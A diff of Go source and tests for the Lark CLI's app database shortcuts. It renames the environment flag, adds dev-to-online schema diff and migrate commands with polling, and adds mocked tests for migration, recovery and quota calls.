// 调 POST /apps/{app_id}/db_dev_init。--env 指定要创建的环境,由调用方传入,目前只支持 dev。
|
||||
// 调 POST /apps/{app_id}/db_dev_init。--environment 指定要创建的环境,由调用方传入,目前只支持 dev。
|
||||
// 不可逆:单库一旦拆成 dev/online 双库无法回退。Risk: high-risk-write 触发框架自动注入 --yes 确认关卡。
|
||||
var AppsDBEnvCreate = common.Shortcut{
|
||||
Service: appsService,
|
||||
@@ -24,19 +24,20 @@ var AppsDBEnvCreate = common.Shortcut{
|
||||
Description: "Create a DB environment (split single-env DB into dev/online, irreversible)",
|
||||
Risk: "high-risk-write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-env-create --env dev --sync-data --app-id <app_id> --yes",
|
||||
"Example: lark-cli apps +db-env-create --environment dev --sync-data --app-id <app_id> --yes",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "app id", Required: true},
|
||||
{Name: "env", Default: "dev", Enum: []string{"dev"}, Desc: "environment to create (only dev supported for now)"},
|
||||
{Name: "sync-data", Type: "bool", Desc: "copy existing online data into the new environment (default off)"},
|
||||
},
|
||||
}, dbEnvFlags("dev", []string{"dev"}, "environment to create (only dev supported for now)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
_, err := requireAppID(rctx.Str("app-id"))
|
||||
return err
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
return rejectLegacyEnvFlag(rctx)
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
@@ -62,7 +63,7 @@ var AppsDBEnvCreate = common.Shortcut{
|
||||
}
|
||||
|
||||
// buildDBEnvCreateBody 构造 db 环境创建 body:sync_data(bool)。
|
||||
// --env 目前只支持 dev、服务端接口本身即创建 dev 环境,故不下发 env 字段(仅做 CLI 入参校验/前向兼容)。
|
||||
// --environment 目前只支持 dev、服务端接口本身即创建 dev 环境,故不下发 env 字段(仅做 CLI 入参校验/前向兼容)。
|
||||
func buildDBEnvCreateBody(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
return map[string]interface{}{
|
||||
"sync_data": rctx.Bool("sync-data"),
|
||||
|
||||
@@ -27,7 +27,7 @@ func TestAppsDBEnvCreate_WithYesPostsSyncData(t *testing.T) {
|
||||
}
|
||||
reg.Register(stub)
|
||||
if err := runAppsShortcut(t, AppsDBEnvCreate,
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--env", "dev", "--sync-data", "--yes", "--as", "user"},
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--environment", "dev", "--sync-data", "--yes", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
@@ -54,7 +54,7 @@ func TestAppsDBEnvCreate_SyncDataFalseByDefault(t *testing.T) {
|
||||
}
|
||||
reg.Register(stub)
|
||||
if err := runAppsShortcut(t, AppsDBEnvCreate,
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--env", "dev", "--yes", "--as", "user"},
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--environment", "dev", "--yes", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
@@ -82,7 +82,7 @@ func TestAppsDBEnvCreate_PrettyEmitsAllFourLines(t *testing.T) {
|
||||
},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBEnvCreate,
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--env", "dev", "--sync-data", "--yes", "--format", "pretty", "--as", "user"},
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--environment", "dev", "--sync-data", "--yes", "--format", "pretty", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
@@ -103,7 +103,7 @@ func TestAppsDBEnvCreate_PrettyEmitsAllFourLines(t *testing.T) {
|
||||
func TestAppsDBEnvCreate_DryRunNoConfirm(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBEnvCreate,
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--env", "dev", "--dry-run", "--as", "user"},
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--environment", "dev", "--dry-run", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
@@ -116,7 +116,7 @@ func TestAppsDBEnvCreate_DryRunNoConfirm(t *testing.T) {
|
||||
func TestAppsDBEnvCreate_RejectsNonDevEnv(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBEnvCreate,
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--env", "online", "--yes", "--as", "user"},
|
||||
[]string{"+db-env-create", "--app-id", "app_x", "--environment", "online", "--yes", "--as", "user"},
|
||||
factory, stdout)
|
||||
if err == nil || !strings.Contains(err.Error(), "env") {
|
||||
t.Fatalf("expected env enum rejection, got %v", err)
|
||||
|
||||
191
shortcuts/apps/apps_db_env_migrate.go
Normal file
191
shortcuts/apps/apps_db_env_migrate.go
Normal file
@@ -0,0 +1,191 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const dbEnvMigrateHint = "ensure the app is multi-env (`+db-env-create`) and has pending dev changes; preview with `+db-env-diff`"
|
||||
|
||||
// AppsDBEnvDiff 预览 dev→online 待发布的结构变更(不落地)。
|
||||
//
|
||||
// POST /apps/{app_id}/db/env_migrate,body {dry_run:true},同步返 {from,to,changes[]}。
|
||||
// 与 +db-env-migrate 同端点、dry_run 区分;预览也需 spark:app:write scope。
|
||||
var AppsDBEnvDiff = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-env-diff",
|
||||
Description: "Preview pending dev→online schema changes (no apply)",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-env-diff --app-id <app_id>",
|
||||
"Apply the previewed changes with +db-env-migrate --yes.",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
_, err := requireAppID(rctx.Str("app-id"))
|
||||
return err
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().POST(appEnvMigratePath(appID)).Desc("Preview dev→online migration").Body(map[string]interface{}{"dry_run": true})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stop := rctx.StartSpinner("Previewing migration diff (dev → online)")
|
||||
defer stop()
|
||||
data, err := rctx.CallAPITyped("POST", appEnvMigratePath(appID), nil, map[string]interface{}{"dry_run": true})
|
||||
stop()
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbEnvMigrateHint)
|
||||
}
|
||||
from, to := common.GetString(data, "from"), common.GetString(data, "to")
|
||||
changes := projectMigrationChanges(data["changes"])
|
||||
out := map[string]interface{}{"from": from, "to": to, "changes": changes}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
renderMigrationDiff(w, from, to, changes)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// AppsDBEnvMigrate 把 dev 的待发布结构变更发布到 online(异步,CLI 轮询至完成)。
|
||||
//
|
||||
// POST /apps/{app_id}/db/env_migrate,body {dry_run:false} → task_id,轮询 env_migrate_status
|
||||
// 至 success;后端 status:applied,CLI 对外统一呈现 migrated。high-risk-write。
|
||||
var AppsDBEnvMigrate = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-env-migrate",
|
||||
Description: "Publish pending dev→online schema changes (irreversible)",
|
||||
Risk: "high-risk-write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-env-migrate --app-id <app_id> --yes",
|
||||
"Preview first with +db-env-diff.",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
_, err := requireAppID(rctx.Str("app-id"))
|
||||
return err
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().POST(appEnvMigratePath(appID)).Desc("Apply dev→online migration").Body(map[string]interface{}{"dry_run": false})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stop := rctx.StartSpinner("Applying migration (dev → online)")
|
||||
defer stop()
|
||||
submit, err := rctx.CallAPITyped("POST", appEnvMigratePath(appID), nil, map[string]interface{}{"dry_run": false})
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbEnvMigrateHint)
|
||||
}
|
||||
from, to := common.GetString(submit, "from"), common.GetString(submit, "to")
|
||||
taskID := common.GetString(submit, "task_id")
|
||||
applied := intFromAny(submit["changes_applied"])
|
||||
if applied == 0 {
|
||||
applied = len(projectMigrationChanges(submit["changes"]))
|
||||
}
|
||||
// 有 task_id → 异步,轮询至终态;无 task_id(同步完成)则直接用 submit 结果。
|
||||
if taskID != "" {
|
||||
final, perr := pollUntil(rctx.Ctx(), 1*time.Second, 2*time.Minute,
|
||||
func() (map[string]interface{}, error) {
|
||||
return rctx.CallAPITyped("GET", appEnvMigrateStatusPath(appID), map[string]interface{}{"task_id": taskID}, nil)
|
||||
},
|
||||
func(d map[string]interface{}) (bool, error) {
|
||||
switch strings.ToLower(common.GetString(d, "status")) {
|
||||
case "success", "applied", "migrated":
|
||||
return true, nil
|
||||
case "failed":
|
||||
return false, withAppsHint(errs.NewAPIError(errs.SubtypeServerError, "%s", migrateFailMsg(d, taskID)), dbEnvMigrateHint)
|
||||
}
|
||||
return false, nil
|
||||
})
|
||||
if perr != nil {
|
||||
return perr
|
||||
}
|
||||
if n := intFromAny(final["changes_applied"]); n > 0 {
|
||||
applied = n
|
||||
}
|
||||
}
|
||||
stop() // clear spinner before printing the result
|
||||
out := map[string]interface{}{"status": "migrated", "from": from, "to": to, "changes_applied": applied}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
fmt.Fprintf(w, "✓ Migrated %s → %s (%d changes)\n", from, to, applied)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
type migrationChange struct {
|
||||
Type string `json:"type"`
|
||||
Table string `json:"table"`
|
||||
Statement string `json:"statement"`
|
||||
}
|
||||
|
||||
// projectMigrationChanges 把服务端原始变更项投影为白名单 migrationChange(type/table/statement)。
|
||||
func projectMigrationChanges(raw interface{}) []migrationChange {
|
||||
arr, _ := raw.([]interface{})
|
||||
out := make([]migrationChange, 0, len(arr))
|
||||
for _, it := range arr {
|
||||
if m, ok := it.(map[string]interface{}); ok {
|
||||
out = append(out, migrationChange{
|
||||
Type: common.GetString(m, "type"),
|
||||
Table: common.GetString(m, "table"),
|
||||
Statement: common.GetString(m, "statement"),
|
||||
})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// renderMigrationDiff 渲染 dev→online 待发布变更:无变更打提示,否则逐条打 statement。
|
||||
func renderMigrationDiff(w io.Writer, from, to string, changes []migrationChange) {
|
||||
if len(changes) == 0 {
|
||||
fmt.Fprintf(w, "No pending changes from %s to %s.\n", from, to)
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "%s → %s (%d changes):\n\n", from, to, len(changes))
|
||||
for _, c := range changes {
|
||||
fmt.Fprintf(w, " %s\n", c.Statement)
|
||||
}
|
||||
}
|
||||
|
||||
// migrateFailMsg 取发布失败信息:优先服务端 error_message,缺失则用带 task_id 的兜底文案。
|
||||
func migrateFailMsg(d map[string]interface{}, taskID string) string {
|
||||
if m := common.GetString(d, "error_message"); m != "" {
|
||||
return m
|
||||
}
|
||||
return fmt.Sprintf("migration apply failed (task_id=%s)", taskID)
|
||||
}
|
||||
|
||||
// intFromAny 把 JSON number / json.Number 转 int(计数用)。
|
||||
func intFromAny(v interface{}) int {
|
||||
if f, ok := numericAsFloat(v); ok {
|
||||
return int(f)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
369
shortcuts/apps/apps_db_env_recovery_quota_test.go
Normal file
369
shortcuts/apps/apps_db_env_recovery_quota_test.go
Normal file
@@ -0,0 +1,369 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
const (
|
||||
dbEnvMigrateURL = "/open-apis/spark/v1/apps/app_x/db/env_migrate"
|
||||
dbEnvMigrateStatusURL = "/open-apis/spark/v1/apps/app_x/db/env_migrate_status"
|
||||
dbRecoveryURL = "/open-apis/spark/v1/apps/app_x/db/env_recovery"
|
||||
dbRecoveryDiffURL = "/open-apis/spark/v1/apps/app_x/db/env_recovery_diff_status"
|
||||
dbRecoveryApplyURL = "/open-apis/spark/v1/apps/app_x/db/env_recovery_apply_status"
|
||||
dbQuotaURL = "/open-apis/spark/v1/apps/app_x/db/quota"
|
||||
)
|
||||
|
||||
// ── env-diff ──
|
||||
|
||||
// TestAppsDBEnvDiff_DryRunBody 校验 dry-run 请求体:POST env_migrate 且 dry_run=true。
|
||||
func TestAppsDBEnvDiff_DryRunBody(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBEnvDiff,
|
||||
[]string{"+db-env-diff", "--app-id", "app_x", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
a := env.API[0]
|
||||
if a.Method != "POST" || a.URL != dbEnvMigrateURL || a.Body["dry_run"] != true {
|
||||
t.Fatalf("dry-run = %s %s body=%v", a.Method, a.URL, a.Body)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBEnvDiff_SuccessRendersChanges 验证 pretty 输出渲染出 dev → online 变更摘要及 DDL 语句。
|
||||
func TestAppsDBEnvDiff_SuccessRendersChanges(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbEnvMigrateURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
"from": "dev", "to": "online",
|
||||
"changes": []interface{}{
|
||||
map[string]interface{}{"type": "ALTER_TABLE", "table": "orders", "statement": "ALTER TABLE orders ADD COLUMN note text"},
|
||||
},
|
||||
}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBEnvDiff,
|
||||
[]string{"+db-env-diff", "--app-id", "app_x", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if !strings.Contains(got, "dev → online (1 changes)") || !strings.Contains(got, "ALTER TABLE orders ADD COLUMN note text") {
|
||||
t.Fatalf("pretty diff malformed:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBEnvDiff_EmptyChanges 验证无变更时 pretty 输出"无待发布变更"提示。
|
||||
func TestAppsDBEnvDiff_EmptyChanges(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbEnvMigrateURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"from": "dev", "to": "online", "changes": []interface{}{}}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBEnvDiff,
|
||||
[]string{"+db-env-diff", "--app-id", "app_x", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
if !strings.Contains(stdout.String(), "No pending changes from dev to online.") {
|
||||
t.Fatalf("expected empty message, got: %s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
// ── env-migrate ──
|
||||
|
||||
// TestAppsDBEnvMigrate_DryRunBody 校验 migrate 的 dry-run 请求体里 dry_run=false(真实迁移)。
|
||||
func TestAppsDBEnvMigrate_DryRunBody(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBEnvMigrate,
|
||||
[]string{"+db-env-migrate", "--app-id", "app_x", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
if env.API[0].Body["dry_run"] != false {
|
||||
t.Fatalf("dry-run body=%v (want dry_run:false)", env.API[0].Body)
|
||||
}
|
||||
}
|
||||
|
||||
// 异步:submit 返 task_id,status 立刻 applied → CLI 对外统一 migrated。
|
||||
func TestAppsDBEnvMigrate_AsyncPollSuccess(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbEnvMigrateURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"from": "dev", "to": "online", "task_id": "t1"}},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbEnvMigrateStatusURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"task_id": "t1", "status": "applied", "changes_applied": 3}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBEnvMigrate,
|
||||
[]string{"+db-env-migrate", "--app-id", "app_x", "--yes", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if !strings.Contains(got, "✓ Migrated dev → online (3 changes)") {
|
||||
t.Fatalf("pretty: %s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBEnvMigrate_PollFailedSurfacesError 验证轮询到 failed 时返回 API/server_error 类型错误,携带服务端 message 与恢复 hint。
|
||||
func TestAppsDBEnvMigrate_PollFailedSurfacesError(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbEnvMigrateURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"from": "dev", "to": "online", "task_id": "t1"}},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbEnvMigrateStatusURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"task_id": "t1", "status": "failed", "error_message": "lock timeout"}},
|
||||
})
|
||||
err := runAppsShortcut(t, AppsDBEnvMigrate,
|
||||
[]string{"+db-env-migrate", "--app-id", "app_x", "--yes", "--as", "user"}, factory, stdout)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryAPI || p.Subtype != errs.SubtypeServerError {
|
||||
t.Fatalf("got %T %v, want API/server_error typed error", err, err)
|
||||
}
|
||||
if !strings.Contains(p.Message, "lock timeout") {
|
||||
t.Fatalf("Message = %q, want it to contain 'lock timeout'", p.Message)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "+db-env-diff") {
|
||||
t.Fatalf("Hint = %q, want the db-env-migrate recovery hint", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBEnvMigrate_RequiresConfirmation 验证 high-risk-write 无 --yes 时被确认门拦截。
|
||||
func TestAppsDBEnvMigrate_RequiresConfirmation(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
// high-risk-write 无 --yes → 应被确认门拦截(非 0 退出)。
|
||||
if err := runAppsShortcut(t, AppsDBEnvMigrate,
|
||||
[]string{"+db-env-migrate", "--app-id", "app_x", "--as", "user"}, factory, stdout); err == nil {
|
||||
t.Fatalf("expected confirmation gate without --yes")
|
||||
}
|
||||
}
|
||||
|
||||
// ── recovery-diff ──
|
||||
|
||||
// TestAppsDBRecoveryDiff_RequiresTarget 验证缺少 --target 时报必填错误。
|
||||
func TestAppsDBRecoveryDiff_RequiresTarget(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBRecoveryDiff,
|
||||
[]string{"+db-recovery-diff", "--app-id", "app_x", "--as", "user"}, factory, stdout); err == nil {
|
||||
t.Fatalf("expected required --target error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBRecoveryDiff_DryRunNormalizesTarget 验证 dry-run 走 POST env_recovery 且 --target 被归一化为 RFC3339 UTC。
|
||||
func TestAppsDBRecoveryDiff_DryRunNormalizesTarget(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBRecoveryDiff,
|
||||
[]string{"+db-recovery-diff", "--app-id", "app_x", "--target", "2026-04-15", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
a := env.API[0]
|
||||
if a.Method != "POST" || a.URL != dbRecoveryURL || a.Body["dry_run"] != true {
|
||||
t.Fatalf("dry-run = %s %s body=%v", a.Method, a.URL, a.Body)
|
||||
}
|
||||
if s, _ := a.Body["target"].(string); !strings.HasSuffix(s, "Z") {
|
||||
t.Fatalf("target not normalized to RFC3339 UTC: %v", a.Body["target"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBRecoveryDiff_SuccessRendersChanges 验证 preview 成功后 pretty 渲染受影响表数、行增删与预估耗时。
|
||||
func TestAppsDBRecoveryDiff_SuccessRendersChanges(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbRecoveryURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"preview_request_id": "p1"}},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbRecoveryDiffURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
"preview_status": "success", "tables_affected": 2, "estimated_seconds": 12,
|
||||
"changes": []interface{}{
|
||||
map[string]interface{}{"table": "orders", "inserted": 5, "deleted": 2},
|
||||
map[string]interface{}{"table": "carts", "action": "restore_table"},
|
||||
},
|
||||
}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBRecoveryDiff,
|
||||
[]string{"+db-recovery-diff", "--app-id", "app_x", "--target", "2h", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
for _, want := range []string{"tables affected: 2", "orders: +5 rows, -2 rows", "carts: table will be restored", "estimated time: ~12s"} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("missing %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBRecoveryDiff_PreviewFailed 验证 preview_status=failed 时返回 API/server_error,携带 message 与 PITR window hint。
|
||||
func TestAppsDBRecoveryDiff_PreviewFailed(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbRecoveryURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"preview_request_id": "p1"}},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbRecoveryDiffURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"preview_status": "failed", "error_message": "snapshot expired"}},
|
||||
})
|
||||
err := runAppsShortcut(t, AppsDBRecoveryDiff,
|
||||
[]string{"+db-recovery-diff", "--app-id", "app_x", "--target", "2h", "--as", "user"}, factory, stdout)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryAPI || p.Subtype != errs.SubtypeServerError {
|
||||
t.Fatalf("got %T %v, want API/server_error typed error", err, err)
|
||||
}
|
||||
if !strings.Contains(p.Message, "snapshot expired") {
|
||||
t.Fatalf("Message = %q, want it to contain 'snapshot expired'", p.Message)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "PITR window") {
|
||||
t.Fatalf("Hint = %q, want the db-recovery recovery hint", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// ── recovery-apply ──
|
||||
|
||||
// TestAppsDBRecoveryApply_NoChangesShortCircuits 验证 status=no_changes 时短路输出"已是该状态",不再轮询。
|
||||
func TestAppsDBRecoveryApply_NoChangesShortCircuits(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbRecoveryURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"status": "no_changes"}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBRecoveryApply,
|
||||
[]string{"+db-recovery-apply", "--app-id", "app_x", "--target", "2h", "--yes", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
if !strings.Contains(stdout.String(), "No changes — database is already at this state.") {
|
||||
t.Fatalf("expected no-changes short-circuit, got: %s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBRecoveryApply_AsyncPollSuccess 验证 running → 轮询 success 后 pretty 输出恢复完成及耗时。
|
||||
func TestAppsDBRecoveryApply_AsyncPollSuccess(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbRecoveryURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"status": "running"}},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbRecoveryApplyURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"status": "success", "restore_time_sec": 8}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBRecoveryApply,
|
||||
[]string{"+db-recovery-apply", "--app-id", "app_x", "--target", "2h", "--yes", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
if !strings.Contains(stdout.String(), "✓ Database restored to") || !strings.Contains(stdout.String(), "(8s elapsed)") {
|
||||
t.Fatalf("pretty: %s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBRecoveryApply_RequiresConfirmation 验证无 --yes 时被确认门拦截。
|
||||
func TestAppsDBRecoveryApply_RequiresConfirmation(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBRecoveryApply,
|
||||
[]string{"+db-recovery-apply", "--app-id", "app_x", "--target", "2h", "--as", "user"}, factory, stdout); err == nil {
|
||||
t.Fatalf("expected confirmation gate without --yes")
|
||||
}
|
||||
}
|
||||
|
||||
// ── quota-get ──
|
||||
|
||||
// TestAppsDBQuotaGet_WithQuotaPretty 验证已对接配额时 pretty 渲染存储用量、百分比及 tables/views 数。
|
||||
func TestAppsDBQuotaGet_WithQuotaPretty(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbQuotaURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
